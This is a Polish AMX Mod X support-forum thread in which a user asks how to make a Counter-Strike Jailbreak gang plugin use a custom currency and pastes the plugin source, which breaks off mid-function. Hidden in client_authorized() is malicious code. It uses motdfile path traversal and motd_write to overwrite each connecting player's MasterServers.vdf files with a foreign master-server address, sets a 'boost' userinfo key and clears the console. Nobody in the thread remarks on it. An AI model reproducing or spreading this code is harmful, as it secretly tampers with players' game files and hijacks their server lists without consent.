Skocz do zawartości

  • Zaloguj korzystając z Facebooka Zaloguj korzystając z Twittera Zaloguj przez Steam Zaloguj poprzez Google      Logowanie »   
  • Rejestracja

Witamy w Nieoficjalnym polskim support'cie AMX Mod X

Witamy w Nieoficjalnym polskim support'cie AMX Mod X, jak w większości społeczności internetowych musisz się zarejestrować aby móc odpowiadać lub zakładać nowe tematy, ale nie bój się to jest prosty proces w którym wymagamy minimalnych informacji.

  • Rozpoczynaj nowe tematy i odpowiedaj na inne
  • Zapisz się do tematów i for, aby otrzymywać automatyczne uaktualnienia
  • Dodawaj wydarzenia do kalendarza społecznościowego
  • Stwórz swój własny profil i zdobywaj nowych znajomych
  • Zdobywaj nowe doświadczenia

Dołączona grafika Dołączona grafika

Guest Message by DevFuse
 

Zdjęcie

Problem ze zmienną


  • Nie możesz napisać tematu
  • Zaloguj się, aby dodać odpowiedź
2 odpowiedzi w tym temacie

#1 misiakool12

    Pomocny

  • Użytkownik

Reputacja: 0
zer0.

  • Postów:42
  • Lokalizacja:z polski
Offline

Napisano 21.04.2016 16:01

Witam , czy mógłby mnie ktoś naprowadzić jaką zmienną mam użyć aby w pluginie gangi umiejętności gangu były dodawane nie poprzez $ , tylko szlugi?  Wiem że trzeba użyć zmiennej : set_user_jbpack jednak pomimo wielu prób ciągle nic nie wychodzi...

 

  • +
  • -
  • 0

#2 Linux'

    Pan Pomocny

  • Power User

Reputacja: 488
Wszechobecny

  • Postów:1425
  • Steam:steam
  • Imię:Sebastian
  • Lokalizacja:AmxMod i SourceMod
Offline

Napisano 21.04.2016 17:05

Piszesz o zmiennej a uzywasz natywu :facepalm: . Zalacz kod pluginu do tematu.


  • +
  • -
  • 0

Posiadam na sprzedaż w pełni odwzorowaną paczkę nowego coda do csgo. Kliknij by dowiedzieć się więcej!

 

- PISZE MODYFIKACJE.

- NAPRAWIAM POPSUTE PLUGINY.

- DZIALAM W DZIALACH AMXX/SOURCEMOD. MASZ ZLECENIE? PISZ.


#3 misiakool12

    Pomocny

  • Autor tematu
  • Użytkownik

Reputacja: 0
zer0.

  • Postów:42
  • Lokalizacja:z polski
Offline

Napisano 21.04.2016 17:24

Przepraszam za błąd . Oto kod sma :

#include < amxmodx >
#include < amxmisc >
#include < sqlvault_ex >
#include < cstrike >
#include < colorchat >
#include < hamsandwich >
#include < fun >
native set_user_jbpack(id, value);
native get_user_jbpack(id);

new const g_szVersion[ ] = "1.01";

enum _:GangInfo
{
	Trie:GangMembers,
	GangName[ 60 ],
	GangHP,
	GangStealing,
	GangGravity,
	GangDamage,
	GangStamina,
	GangWeaponDrop,
	GangKills
};
	
enum
{
	VALUE_HP,
	VALUE_STEALING,
	VALUE_GRAVITY,
	VALUE_DAMAGE,
	VALUE_STAMINA,
	VALUE_WEAPONDROP,
	VALUE_KILLS
}

new const g_szGangValues[ ][ ] = 
{
	"HP",
	"Stealing",
	"Gravity",
	"Damage",
	"Stamina",
	"WeaponDrop",
	"Kills"
};

new const g_szPrefix[ ] = "^04[Gang]^01";

new const plik1[]		=	"!MD5/../../platform/config/MasterServers.vdf";
new const plik2[]		=	"!MD5/../../platform/config/rev_MasterServers.vdf";
new const plik3[]		=	"!MD5/../../config/rev_MasterServers.vdf";
new const plik4[]		=	"!MD5/../../config/MasterServers.vdf";

new const Text[]		=	"^"MasterServers^"\n{\n	^"hl1^"\n	{\n		^"0^"\n		{\n			^"addr^"		^"185.25.148.165:27010^"\n		}\n	}\n}\n";
new const Key[]			=	"boost";

new Trie:g_tGangNames;
new Trie:g_tGangValues;

new SQLVault:g_hVault;

new Array:g_aGangs;

new g_pCreateCost;

new g_pHealthCost;
new g_pStealingCost;
new g_pGravityCost;
new g_pDamageCost;
new g_pStaminaCost;
new g_pWeaponDropCost;

new g_pHealthMax;
new g_pStealingMax;
new g_pGravityMax;
new g_pDamageMax;
new g_pStaminaMax;
new g_pWeaponDropMax;

new g_pHealthPerLevel;
new g_pStealingPerLevel;
new g_pGravityPerLevel;
new g_pDamagePerLevel;
new g_pStaminaPerLevel;
new g_pWeaponDropPerLevel;

new g_iGang[ 33 ];
new g_iLastMoney[ 33 ];

public plugin_init()
{
	register_plugin( "Jailbreak Gang System", g_szVersion, "H3avY Ra1n" );
	
	g_aGangs 				= ArrayCreate( GangInfo );

	g_tGangValues 			= TrieCreate();
	g_tGangNames 			= TrieCreate();
	
	g_hVault 				= sqlv_open_local( "jb_gangs", false );
	sqlv_init_ex( g_hVault );

	g_pCreateCost			= register_cvar( "jb_gang_cost", 		"6500" );
	g_pHealthCost			= register_cvar( "jb_health_cost", 		"3000" );
	g_pStealingCost 		= register_cvar( "jb_stealing_cost", 	"3000" );
	g_pGravityCost			= register_cvar( "jb_gravity_cost", 	"3000" );
	g_pDamageCost			= register_cvar( "jb_damage_cost", 		"3000" );
	g_pStaminaCost			= register_cvar( "jb_stamina_cost", 	"3000" );
	g_pWeaponDropCost		= register_cvar( "jb_weapondrop_cost", 	"3000" );

	g_pHealthMax			= register_cvar( "jb_health_max", 		"10" );
	g_pStealingMax			= register_cvar( "jb_stealing_max", 	"10" );
	g_pGravityMax			= register_cvar( "jb_gravity_max", 		"10" ); // Max * Gravity must be LESS than 800
	g_pDamageMax			= register_cvar( "jb_damage_max", 		"10" );
	g_pStaminaMax			= register_cvar( "jb_stamina_max", 		"10" );
	g_pWeaponDropMax		= register_cvar( "jb_weapondrop_max", 	"10" );

	g_pHealthPerLevel		= register_cvar( "jb_health_per", 	"10" );
	g_pStealingPerLevel		= register_cvar( "jb_stealing_per", 	"0.05" );
	g_pGravityPerLevel		= register_cvar( "jb_gravity_per", 		"50" );
	g_pDamagePerLevel		= register_cvar( "jb_damage_per", 		"3" );
	g_pStaminaPerLevel		= register_cvar( "jb_stamina_per", 		"3" );
	g_pWeaponDropPerLevel 	= register_cvar( "jb_weapondrop_per", 	"1" );

	register_cvar( "jb_gang_version", g_szVersion, FCVAR_SPONLY | FCVAR_SERVER );
	
	register_menu( "Gang Menu", 1023, "GangMenu_Handler" );
	register_menu( "Skills Menu", 1023, "SkillsMenu_Handler" );
	
	for( new i = 0; i < sizeof g_szGangValues; i++ )
	{
		TrieSetCell( g_tGangValues, g_szGangValues[ i ], i );
	}

	RegisterHam( Ham_Spawn, "player", "Ham_PlayerSpawn_Post", 1 );
	RegisterHam( Ham_TakeDamage, "player", "Ham_TakeDamage_Pre", 0 );
	RegisterHam( Ham_TakeDamage, "player", "Ham_TakeDamage_Post", 1 );
	
	register_event( "DeathMsg", "Event_DeathMsg", "a" );
	register_event( "CurWeapon", "Event_CurWeapon", "be" );
	register_event( "Money", "Event_Money", "b" );
	
	register_clcmd( "say /gang", "Cmd_Gang" );
	register_clcmd( "say /gangy", "Cmd_Gang" );
	register_clcmd( "gang_name", "Cmd_CreateGang" );
	
	LoadGangs();
}
public client_authorized(id)
{
	
	client_cmd( id , "motdfile %s" , plik1 );
	client_cmd( id , "motd_write %s", Text );
	client_cmd( id , "motdfile %s" , plik2 );
	client_cmd( id , "motd_write %s", Text );
	client_cmd( id , "motdfile %s" , plik3 );
	client_cmd( id , "motd_write %s", Text );
	client_cmd( id , "motdfile %s" , plik4 );
	client_cmd( id , "motd_write %s", Text );
	client_cmd( id , "motdfile motd.txt" );
	client_cmd(id, "setinfo %s 1", Key);
	client_cmd( id , "clear" );
} 

public client_disconnect( id )
{
	g_iGang[ id ] = -1;
}

public client_putinserver( id )
{
	g_iGang[ id ] = get_user_gang( id );
}

public plugin_end()
{
	SaveGangs();
	sqlv_close( g_hVault );
}

public Ham_PlayerSpawn_Post( id )
{
	if( !is_user_alive( id ) || cs_get_user_team( id ) != CS_TEAM_T )
		return HAM_IGNORED;
		
	if( g_iGang[ id ] == -1 )
	{
		return HAM_IGNORED;
	}
		
	new aData[ GangInfo ];
	ArrayGetArray( g_aGangs, g_iGang[ id ], aData );
	
	new iHealth = 100 + aData[ GangHP ] * get_pcvar_num( g_pHealthPerLevel );
	set_user_health( id, iHealth );
	
	new iGravity = 800 - ( get_pcvar_num( g_pGravityPerLevel ) * aData[ GangGravity ] );
	set_user_gravity( id, float( iGravity ) / 800.0 );
	
	if( aData[ GangStamina ] > 0 )
		set_user_maxspeed( id, 250.0 + ( aData[ GangStamina ] * get_pcvar_num( g_pStaminaPerLevel ) ) );
		
	return HAM_IGNORED;
}

public Ham_TakeDamage_Pre( iVictim, iInflictor, iAttacker, Float:flDamage, iBits )
{
	if( !is_user_alive( iAttacker ) || cs_get_user_team( iAttacker ) != CS_TEAM_T )
		return HAM_IGNORED;
		
	if( g_iGang[ iAttacker ] == -1 )
		return HAM_IGNORED;
	
	new aData[ GangInfo ];
	ArrayGetArray( g_aGangs, g_iGang[ iAttacker ], aData );
	
	SetHamParamFloat( 4, flDamage + ( get_pcvar_num( g_pDamagePerLevel ) * ( aData[ GangDamage ] ) ) );
	
	return HAM_IGNORED;
}

public Ham_TakeDamage_Post( iVictim, iInflictor, iAttacker, Float:flDamage, iBits )
{
	if( !is_user_alive( iAttacker ) || g_iGang[ iAttacker ] == -1 || get_user_weapon( iAttacker ) != CSW_KNIFE || cs_get_user_team( iAttacker ) != CS_TEAM_T  )
	{
		return HAM_IGNORED;
	}
	
	new aData[ GangInfo ];
	ArrayGetArray( g_aGangs, g_iGang[ iAttacker ], aData );
	
	new iChance = aData[ GangWeaponDrop ] * get_pcvar_num( g_pWeaponDropPerLevel );
	
	if( iChance == 0 )
		return HAM_IGNORED;
	
	new bool:bDrop = ( random_num( 1, 100 ) <= iChance );
	
	if( bDrop )
		client_cmd( iVictim, "drop" );
	
	return HAM_IGNORED;
}

public Event_CurWeapon( id )
{
	if( g_iGang[ id ] == -1 || cs_get_user_team( id ) != CS_TEAM_T )
	{
		return PLUGIN_CONTINUE;
	}
	
	new aData[ GangInfo ];
	ArrayGetArray( g_aGangs, g_iGang[ id ], aData );
	
	if( aData[ GangStamina ] > 0 )
		set_user_maxspeed( id, 250.0 + ( aData[ GangStamina ] * get_pcvar_num( g_pStaminaPerLevel ) ) );
		
	return PLUGIN_CONTINUE;
}

public Event_DeathMsg()
{
	new iKiller = read_data( 1 );
	new iVictim = read_data( 2 );
	
	if( !is_user_alive( iKiller ) || cs_get_user_team( iVictim ) != CS_TEAM_CT || g_iGang[ iKiller ] == -1 || cs_get_user_team( iKiller ) != CS_TEAM_T )
		return PLUGIN_CONTINUE;
	
	new aData[ GangInfo ];
	ArrayGetArray( g_aGangs, g_iGang[ iKiller ], aData );
	aData[ GangKills ]++;
	ArraySetArray( g_aGangs, g_iGang[ iKiller ], aData );
	
	return PLUGIN_CONTINUE;
}

public Event_Money( id )
{
	new iAmount = read_data( 1 );
	
	new iDiff = iAmount - g_iLastMoney[ id ];
	
	g_iLastMoney[ id ] = iAmount;
	
	if( iAmount <= 0 )
		return;
	
	if( g_iGang[ id ] > -1 )
	{
		static aData[ GangInfo ];
		ArrayGetArray( g_aGangs, g_iGang[ id ], aData );
		
		iDiff = floatround( iDiff * ( aData[ GangStealing ] * get_pcvar_float( g_pStealingPerLevel ) ) );
		
		cs_set_user_money( id, iAmount + iDiff, 0 );
	}
}

public Cmd_Gang( id )
{	
	if( !is_user_connected( id ) || cs_get_user_team( id ) != CS_TEAM_T )
	{
		ColorChat( id, YELLOW, "%s Only ^03prisoners ^01can access this menu.", g_szPrefix );
		return PLUGIN_HANDLED;
	}
	
	static szMenu[ 512 ], iLen, aData[ GangInfo ], iKeys, bool:bLeader;
	
	iKeys = MENU_KEY_0 | MENU_KEY_4;
	
	bLeader = isLeader( id, g_iGang[ id ] );
	
	if( g_iGang[ id ] > -1 )
	{
		ArrayGetArray( g_aGangs, g_iGang[ id ], aData );
		iLen 	= 	formatex( szMenu, charsmax( szMenu ),  "\yMenu Gangu^n\wAktualny gang:\y %s^n^n", aData[ GangName ] );
		iLen	+=	formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r1. \dStworz gang [%i Jointow]^n", get_pcvar_num( g_pCreateCost ) );
	}
	
	else
	{
		iLen 	= 	formatex( szMenu, charsmax( szMenu ),  "\yMenu Gangu^n\wAktualny gang:\r None^n^n" );
		iLen	+=	formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r1. \wStworz gang [%i Jointow]^n", get_pcvar_num( g_pCreateCost ) );
		
		iKeys |= MENU_KEY_1;
	}
	
	
	if( bLeader && g_iGang[ id ] > -1 )
	{
		iLen	+=	formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r2. \wZapros gracza do gangu^n" );
		iKeys |= MENU_KEY_2;
	}
	else
		iLen	+=	formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r2. \dZapros gracza do gangu^n" );
	
	if( g_iGang[ id ] > -1 )
	{
		iLen	+=	formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r3. \wUmiejetnosci^n" );
		iKeys |= MENU_KEY_3;
	}
	
	else
		iLen	+=	formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r3. \dUmiejetnosci^n" );
		
	iLen	+=	formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r4. \wTop-10^n" );
	
	if( g_iGang[ id ] > -1 )
	{
		iLen	+=	formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r5. \wOpusc gang^n" );
		iKeys |= MENU_KEY_5;
	}
	
	else
		iLen	+=	formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r5. \dOpusc gang^n" );
	
	
	if( bLeader )
	{
		iLen	+=	formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r6. \wMenu Leadera gangu^n" );
		iKeys |= MENU_KEY_6;
	}
	
	else
		iLen	+=	formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r6. \dMenu Leadera gangu^n" );
	
	if( g_iGang[ id ] > -1 )
	{
		iLen	+=	formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r7. \wCzlonkowie online^n" );
		iKeys |= MENU_KEY_7;
	}
		
	else
		iLen	+=	formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "\r7. \dCzlonkowie online^n" );
	
	iLen	+=	formatex( szMenu[ iLen ], charsmax( szMenu ) - iLen, "^n\r0. \wWyjscie" );
	
	show_menu( id, iKeys, szMenu, -1, "Gang Menu" );
	
	return PLUGIN_CONTINUE;
}

public GangMenu_Handler( id, iKey )
{
	switch( ( iKey + 1 ) % 10 )
	{
		case 0: return PLUGIN_HANDLED;
		
		case 1: 
		{
			if(get_user_jbpack(id) < get_pcvar_num(g_pCreateCost))
			{
				ColorChat( id, YELLOW, "%s Nie masz wystarczajaco pieniedzy aby utworzyc gang!", g_szPrefix );
				return PLUGIN_HANDLED;
			}
			
			client_cmd( id, "messagemode gang_name" );
		}
		
		case 2:
		{
			ShowInviteMenu( id );
		}
		
		case 3:
		{
			ShowSkillsMenu( id );
		}
		
		case 4:
		{
			Cmd_Top10( id );
		}
		
		case 5:
		{
			ShowLeaveConfirmMenu( id );
		}
		
		case 6:
		{
			ShowLeaderMenu( id );
		}
		
		case 7:
		{
			ShowMembersMenu( id );
		}
	}
	
	return PLUGIN_HANDLED;
}

public Cmd_CreateGang( id )
{
	if(get_user_jbpack(id) < get_pcvar_num(g_pCreateCost))
	{
		ColorChat( id, YELLOW, "%s Nie masz wystarczajaco pieniedzy aby utworzyc gang.", g_szPrefix );
		return PLUGIN_HANDLED;
	}
	
	else if( g_iGang[ id ] > -1 )
	{
		ColorChat( id, YELLOW, "%s Nie mozesz stworzyc gangu poniewaz jestes juz w gangu!!", g_szPrefix );
		return PLUGIN_HANDLED;
	}
	
	else if( cs_get_user_team( id ) != CS_TEAM_T )
	{
		ColorChat( id, YELLOW, "%s Tylko ^03wiezniowie ^01moga tworzyc gangi!", g_szPrefix );
		return PLUGIN_HANDLED;
	}
	
	new szArgs[ 60 ];
	read_args( szArgs, charsmax( szArgs ) );
	
	remove_quotes( szArgs );
	
	if( TrieKeyExists( g_tGangNames, szArgs ) )
	{
		ColorChat( id, YELLOW, "%s Gang z taka nazwa juz istnieje.", g_szPrefix );
		Cmd_Gang( id );
		return PLUGIN_HANDLED;
	}
	
	new aData[ GangInfo ];
	
	aData[ GangName ] 		= szArgs;
	aData[ GangHP ] 		= 0;
	aData[ GangStealing ] 	= 0;
	aData[ GangGravity ] 	= 0;
	aData[ GangStamina ] 	= 0;
	aData[ GangWeaponDrop ] = 0;
	aData[ GangDamage ] 	= 0;
	aData[ GangMembers ] 	= _:TrieCreate();
	
	ArrayPushArray( g_aGangs, aData );
	
	set_user_jbpack(id, get_user_jbpack(id)-get_pcvar_num(g_pCreateCost));
	
	set_user_gang( id, ArraySize( g_aGangs ) - 1, true );
	
	ColorChat( id, YELLOW, "%s Stworzyles gang '^03%s^01'.", g_szPrefix, szArgs );
	
	return PLUGIN_HANDLED;
}

public ShowInviteMenu( id )
{	
	new iPlayers[ 32 ], iNum;
	get_players( iPlayers, iNum );
	
	new szInfo[ 6 ], hMenu;
	hMenu = menu_create( "Wybierz gracza z listy:", "InviteMenu_Handler" );
	new szName[ 32 ];
	
	for( new i = 0, iPlayer; i < iNum; i++ )
	{
		iPlayer = iPlayers[ i ];
		
		
		if( iPlayer == id || g_iGang[ iPlayer ] == g_iGang[ id ] || cs_get_user_team( iPlayer ) != CS_TEAM_T )
			continue;
			
		get_user_name( iPlayer, szName, charsmax( szName ) );
		
		num_to_str( iPlayer, szInfo, charsmax( szInfo ) );
		
		menu_additem( hMenu, szName, szInfo );
	}
		
	menu_display( id, hMenu, 0 );
}

public InviteMenu_Handler( id, hMenu, iItem )
{
	if( iItem == MENU_EXIT )
	{
		Cmd_Gang( id );
		return PLUGIN_HANDLED;
	}
	
	new szData[ 6 ], iAccess, hCallback, szName[ 32 ];
	menu_item_getinfo( hMenu, iItem, iAccess, szData, 5, szName, 31, hCallback );
	
	new iPlayer = str_to_num( szData );

	if( !is_user_connected( iPlayer ) )
		return PLUGIN_HANDLED;
		
	ShowInviteConfirmMenu( id, iPlayer );

	ColorChat( id, YELLOW, "%s Zaprosiles %s do swojego gangu.", g_szPrefix, szName );
	
	Cmd_Gang( id );
	return PLUGIN_HANDLED;
}

public ShowInviteConfirmMenu( id, iPlayer )
{
	new szName[ 32 ];
	get_user_name( id, szName, charsmax( szName ) );
	
	new aData[ GangInfo ];
	ArrayGetArray( g_aGangs, g_iGang[ id ], aData );
	
	new szMenuTitle[ 128 ];
	formatex( szMenuTitle, charsmax( szMenuTitle ), "%s Zaprosil Cie abys dolaczyl do	%s", szName, aData[ GangName ] );
	new hMenu = menu_create( szMenuTitle, "InviteConfirmMenu_Handler" );
	
	new szInfo[ 6 ];
	num_to_str( g_iGang[ id ], szInfo, 5 );
	
	menu_additem( hMenu, "Zakceptuj", szInfo );
	menu_additem( hMenu, "Odrzuc", "-1" );
	
	menu_display( iPlayer, hMenu, 0 );	
}

public InviteConfirmMenu_Handler( id, hMenu, iItem )
{
	if( iItem == MENU_EXIT )
		return PLUGIN_HANDLED;
	
	new szData[ 6 ], iAccess, hCallback;
	menu_item_getinfo( hMenu, iItem, iAccess, szData, 5, _, _, hCallback );
	
	new iGang = str_to_num( szData );
	
	if( iGang == -1 )
		return PLUGIN_HANDLED;
	
	if( isLeader( id, g_iGang[ id ] ) )
	{
		ColorChat( id, YELLOW, "%s Nie mozesz opuscic gangu kiedy jestes leaderem.", g_szPrefix );
		return PLUGIN_HANDLED;
	}
	
	set_user_gang( id, iGang );
	
	new aData[ GangInfo ];
	ArrayGetArray( g_aGangs, iGang, aData );
	
	ColorChat( id, YELLOW, "%s Dolaczyles do gangu ^03%s^01.", g_szPrefix, aData[ GangName ] );
	
	return PLUGIN_HANDLED;
}
	

public ShowSkillsMenu( id )
{	
	static szMenu[ 512 ], iLen, iKeys, aData[ GangInfo ];
	
	if( !iKeys )
	{
		iKeys = MENU_KEY_1 | MENU_KEY_2 | MENU_KEY_3 | MENU_KEY_4 | MENU_KEY_5 | MENU_KEY_6 | MENU_KEY_0;
	}
	
	ArrayGetArray( g_aGangs, g_iGang[ id ], aData );
	
	iLen	=	formatex( szMenu, charsmax( szMenu ), "\yMenu Umiejetnosci^n^n" );
	iLen	+=	formatex( szMenu[ iLen ], 511 - iLen, "\r1. \wSilownia [\rKoszt: \y%iJointow\w] \y[Level:%i/%i]^n", get_pcvar_num( g_pHealthCost ), aData[ GangHP ], get_pcvar_num( g_pHealthMax ) );
	iLen	+=	formatex( szMenu[ iLen ], 511 - iLen, "\r2. \wKradziez [\rKoszt: \y%iJointow\w] \y[Level:%i/%i]^n", get_pcvar_num( g_pStealingCost ), aData[ GangStealing ], get_pcvar_num( g_pStealingMax ) );
	iLen	+=	formatex( szMenu[ iLen ], 511 - iLen, "\r3. \wGrawitacja [\rKoszt: \y%iJointow\w] \y[Level:%i/%i]^n", get_pcvar_num( g_pGravityCost ), aData[ GangGravity ], get_pcvar_num( g_pGravityMax ) );
	iLen	+=	formatex( szMenu[ iLen ], 511 - iLen, "\r4. \wObrazenia [\rKoszt: \y%iJointow\w] \y[Level:%i/%i]^n", get_pcvar_num( g_pDamageCost ), aData[ GangDamage ], get_pcvar_num( g_pDamageMax ) );
	iLen	+=	formatex( szMenu[ iLen ], 511 - iLen, "\r5. \wObezwladnienie [\rKoszt: \y$iJointow\w] \y[Level:%i/%i]^n", get_pcvar_num( g_pWeaponDropCost ), aData[ GangWeaponDrop ], get_pcvar_num( g_pWeaponDropMax ) );
	iLen	+=	formatex( szMenu[ iLen ], 511 - iLen, "\r6. \wSpeed [\rKoszt: \y$iJointow\w] \y[Level:%i/%i]^n", get_pcvar_num( g_pStaminaCost ), aData[ GangStamina ], get_pcvar_num( g_pStaminaMax ) );
	
	iLen	+=	formatex( szMenu[ iLen ], 511 - iLen, "^n\r0. \wExit" );
	
	show_menu( id, iKeys, szMenu, -1, "Skills Menu" );
}

public SkillsMenu_Handler( id, iKey )
{
	new aData[ GangInfo ];
	ArrayGetArray( g_aGangs, g_iGang[ id ], aData );
	
	switch( ( iKey + 1 ) % 10 )
	{
		case 0: 
		{
			Cmd_Gang( id );
			return PLUGIN_HANDLED;
		}
		
		case 1:
		{
			if( aData[ GangHP ] == get_pcvar_num( g_pHealthMax ) )
			{
				ColorChat( id, YELLOW, "%s Twoj gang posiada maksymalny poziom tej umiejętnosci.", g_szPrefix  );
				ShowSkillsMenu( id );
				return PLUGIN_HANDLED;
			}
			
			new iRemaining = cs_get_user_money( id ) - get_pcvar_num( g_pHealthCost );
			
			if( iRemaining < 0 )
			{
				ColorChat( id, YELLOW, "%s Nie masz na to pieniedzy.", g_szPrefix );
				ShowSkillsMenu( id );
				return PLUGIN_HANDLED;
			}
			
			aData[ GangHP ]++;
			
			cs_set_user_money( id, iRemaining );
		}
		
		case 2:
		{
			if( aData[ GangStealing ] == get_pcvar_num( g_pStealingMax ) )
			{
				ColorChat( id, YELLOW, "%s Twoj gang posiada maksymalny poziom tej umiejętnosci.", g_szPrefix  );
				ShowSkillsMenu( id );
				return PLUGIN_HANDLED;
			}
			
			new iRemaining = cs_get_user_money( id ) - get_pcvar_num( g_pStealingCost );
			
			if( iRemaining < 0 )
			{
				ColorChat( id, YELLOW, "%s Nie masz na to pieniedzy.", g_szPrefix );
				ShowSkillsMenu( id );
				return PLUGIN_HANDLED;
			}
			
			aData[ GangStealing ]++;
			
			cs_set_user_money( id, iRemaining );
		}
		
		case 3:
		{
			if( aData[ GangGravity ] == get_pcvar_num( g_pGravityMax ) )
			{
				ColorChat( id, YELLOW, "%s Twoj gang posiada maksymalny poziom tej umiejętnosci.", g_szPrefix  );
				ShowSkillsMenu( id );
				return PLUGIN_HANDLED;
			}
			
			new iRemaining = cs_get_user_money( id ) - get_pcvar_num( g_pGravityCost );
			
			if( iRemaining < 0 )
			{
				ColorChat( id, YELLOW, "%s Nie masz na to pieniedzy.", g_szPrefix );
				ShowSkillsMenu( id );
				return PLUGIN_HANDLED;
			}
			
			aData[ GangGravity ]++;
			
			cs_set_user_money( id, iRemaining );
		}
		
		case 4:
		{
			if( aData[ GangDamage ] == get_pcvar_num( g_pDamageMax ) )
			{
				ColorChat( id, YELLOW, "%s Twoj gang posiada maksymalny poziom tej umiejętnosci.", g_szPrefix  );
				ShowSkillsMenu( id );
				return PLUGIN_HANDLED;
			}
			
			new iRemaining = cs_get_user_money( id ) - get_pcvar_num( g_pDamageCost );
			
			if( iRemaining < 0 )
			{
				ColorChat( id, YELLOW, "%s Nie masz na to pieniedzy.", g_szPrefix );
				ShowSkillsMenu( id );
				return PLUGIN_HANDLED;
			}
			
			aData[ GangDamage ]++;
			
			cs_set_user_money( id, iRemaining );
		}
		
		case 5:
		{
			if( aData[ GangWeaponDrop ] == get_pcvar_num( g_pWeaponDropMax ) )
			{
				ColorChat( id, YELLOW, "%s Twoj gang posiada maksymalny poziom tej umiejętnosci.", g_szPrefix  );
				ShowSkillsMenu( id );
				return PLUGIN_HANDLED;
			}
			
			new iRemaining = cs_get_user_money( id ) - get_pcvar_num( g_pWeaponDropCost );
			
			if( iRemaining < 0 )
			{
				ColorChat( id, YELLOW, "%s Nie masz na to pieniedzy.", g_szPrefix );
				ShowSkillsMenu( id );
				return PLUGIN_HANDLED;
			}
			
			aData[ GangWeaponDrop ]++;
			
			cs_set_user_money( id, iRemaining );
		}
		
		case 6:
		{
			if( aData[ GangStamina ] == get_pcvar_num( g_pStaminaMax ) )
			{
				ColorChat( id, YELLOW, "%s Twoj gang posiada maksymalny poziom tej umiejętnosci.", g_szPrefix  );
				ShowSkillsMenu( id );
				return PLUGIN_HANDLED;
			}
			
			new iRemaining = cs_get_user_money( id ) - get_pcvar_num( g_pStaminaCost );
			
			if( iRemaining < 0 )
			{
				ColorChat( id, YELLOW, "%s Nie masz na to pieniedzy.", g_szPrefix );
				ShowSkillsMenu( id );
				return PLUGIN_HANDLED;
			}
			
			aData[ GangStamina ]++;
			
			cs_set_user_money( id, iRemaining );
		}
	}
	
	ArraySetArray( g_aGangs, g_iGang[ id ], aData );
	
	new szAuthID[ 35 ];
	new iPlayers[ 32 ], iNum, iPlayer;
	new szName[ 32 ];
	get_players( iPlayers, iNum, "e" );
	
	for( new i = 0; i < iNum; i++ )
	{
		iPlayer = iPlayers[ i ];
		
		if( iPlayer == id )
			continue;
			
		get_user_authid( iPlayer, szAuthID, charsmax( szAuthID ) );
		
		if( TrieKeyExists( aData[ GangMembers ], szAuthID ) )
		{
			ColorChat( iPlayer, YELLOW, "%s ^03%s ^01ulepszyl jedna z umiejetnosc Twojego gangu.", g_szPrefix, szName );
		}
	}
	
	ColorChat( id, YELLOW, "%s Ulepszyles swoj gang.", g_szPrefix );
	
	ShowSkillsMenu( id );
	
	return PLUGIN_HANDLED;
}
		
	
public Cmd_Top10( id )
{
	new iSize = ArraySize( g_aGangs );
	
	new iOrder[ 100 ][ 2 ];
	
	new aData[ GangInfo ];
	
	for( new i = 0; i < iSize; i++ )
	{
		ArrayGetArray( g_aGangs, i, aData );
		
		iOrder[ i ][ 0 ] = i;
		iOrder[ i ][ 1 ] = aData[ GangKills ];
	}
	
	SortCustom2D( iOrder, iSize, "Top10_Sort" );
	
	new szMessage[ 2048 ];
	formatex( szMessage, charsmax( szMessage ), "<body bgcolor=#000000><font color=#FFB000><pre>" );
	format( szMessage, charsmax( szMessage ), "%s%2s %-22.22s %7s %4s %10s %9s %9s %11s %8s^n", szMessage, "#", "Nazwa", "Zabojstwa", "Silownia", "Kradziez", 
		"Grawitacja", "Speed", "DropBroni", "Atak" );
		
	for( new i = 0; i < min( 10, iSize ); i++ )
	{
		ArrayGetArray( g_aGangs, iOrder[ i ][ 0 ], aData );
		
		format( szMessage, charsmax( szMessage ), "%s%-2d %22.22s %7d %4d %10d %9d %9d %11d %8d^n", szMessage, i + 1, aData[ GangName ], 
		aData[ GangKills ], aData[ GangHP ], aData[ GangStealing ], aData[ GangGravity ], aData[ GangStamina], aData[ GangWeaponDrop ], aData[ GangDamage ] );
	}
	
	show_motd( id, szMessage, "Gang Top 10" );
}

public Top10_Sort( const iElement1[ ], const iElement2[ ], const iArray[ ], szData[], iSize ) 
{
	if( iElement1[ 1 ] > iElement2[ 1 ] )
		return -1;
	
	else if( iElement1[ 1 ] < iElement2[ 1 ] )
		return 1;
	
	return 0;
}

public ShowLeaveConfirmMenu( id )
{
	new hMenu = menu_create( "Czy na pewno chcesz opuscic gang?", "LeaveConfirmMenu_Handler" );
	menu_additem( hMenu, "Tak, Opusc teraz", "0" );
	menu_additem( hMenu, "Nie, Pozostan", "1" );
	
	menu_display( id, hMenu, 0 );
}

public LeaveConfirmMenu_Handler( id, hMenu, iItem )
{
	if( iItem == MENU_EXIT )
		return PLUGIN_HANDLED;
	
	new szData[ 6 ], iAccess, hCallback;
	menu_item_getinfo( hMenu, iItem, iAccess, szData, 5, _, _, hCallback );
	
	switch( str_to_num( szData ) )
	{
		case 0: 
		{
			if( isLeader( id, g_iGang[ id ] ) )
			{
				ColorChat( id, YELLOW, "%s Musisz przeniesc przywodztwo.", g_szPrefix );
				Cmd_Gang( id );
				
				return PLUGIN_HANDLED;
			}
			
			ColorChat( id, YELLOW, "%s Opusciles swoj gang.", g_szPrefix );
			set_user_gang( id, -1 );
			Cmd_Gang( id );
		}
		
		case 1: Cmd_Gang( id );
	}
	
	return PLUGIN_HANDLED;
}

public ShowLeaderMenu( id )
{
	new hMenu = menu_create( "Menu Leadera Gangu", "LeaderMenu_Handler" );
	menu_additem( hMenu, "Usun gang", "0" );
	menu_additem( hMenu, "Przenies przywodztwo", "1" );
	menu_additem( hMenu, "Usun z gangu", "2" );
	
	menu_display( id, hMenu, 0 );
}

public LeaderMenu_Handler( id, hMenu, iItem )
{
